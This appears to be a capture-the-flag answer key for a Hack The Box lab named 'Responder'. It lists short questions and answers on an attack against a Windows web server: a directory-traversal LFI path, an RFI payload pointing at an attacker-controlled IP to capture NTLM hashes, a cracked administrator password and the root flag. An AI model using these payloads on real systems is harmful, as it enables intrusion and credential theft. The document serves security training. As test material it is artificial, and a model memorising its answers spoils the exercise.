Responder

Prompts and answers

• When visiting the web service using the IP address, what is the domain that we are being redirected to?
  unika.htb
• Which scripting language is being used on the server to generate webpages?
  php
• What is the name of the URL parameter which is used to load different language versions of the webpage?
  page
• An LFI is accessing a file on the local system that isn't intended to be read.
  ../../../../../../../../windows/system32/drivers/etc/hosts
• An RFI tricks the server into including file from another server such as the attacker's server.
  //10.10.14.6/somefile
• What does NTLM stand for?
  New Technology LAN Manager
• Which flag do we use in the Responder utility to specify the network interface?
  -I
• There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as `john`, but the full name is what?.
  John The Ripper
• What is the password for the administrator user?
  badminton
• We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
  5985
• Submit root flag
  ea81b7afddd03efaa0945333ed147fac